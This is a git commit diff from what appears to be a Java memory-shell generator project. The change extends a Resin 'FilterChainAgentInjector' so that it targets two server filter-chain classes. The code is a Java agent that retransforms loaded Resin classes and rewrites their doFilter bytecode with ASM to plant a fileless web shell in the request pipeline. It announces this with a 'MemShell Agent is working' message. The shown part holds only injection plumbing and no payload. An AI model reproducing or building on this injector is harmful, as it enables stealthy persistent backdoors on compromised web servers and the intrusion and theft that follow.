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feat: support resin2 agent shell

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ReaJason
2026-02-08 20:44:00 +08:00
parent 9213b9365e
commit 5ddbca566e
3 changed files with 38 additions and 21 deletions
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generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java
+26 -20
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@@ -14,9 +14,11 @@ import java.util.zip.GZIPInputStream;
* @since 2025/3/26
*/
public class ResinFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter";
private static final String[] TARGET_CLASSES = new String[]{
"com/caucho/server/http/FilterChainFilter",
"com/caucho/server/dispatch/FilterFilterChain",
};
public static String getClassName() {
return "{{advisorName}}";
}
@@ -38,8 +40,10 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
inst.addTransformer(new ResinFilterChainAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
for (String targetClass : TARGET_CLASSES) {
if (targetClass.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
}
}
@@ -48,22 +52,24 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
for (String targetClass : TARGET_CLASSES) {
if (className.equals(targetClass)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + targetClass.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
}
return bytes;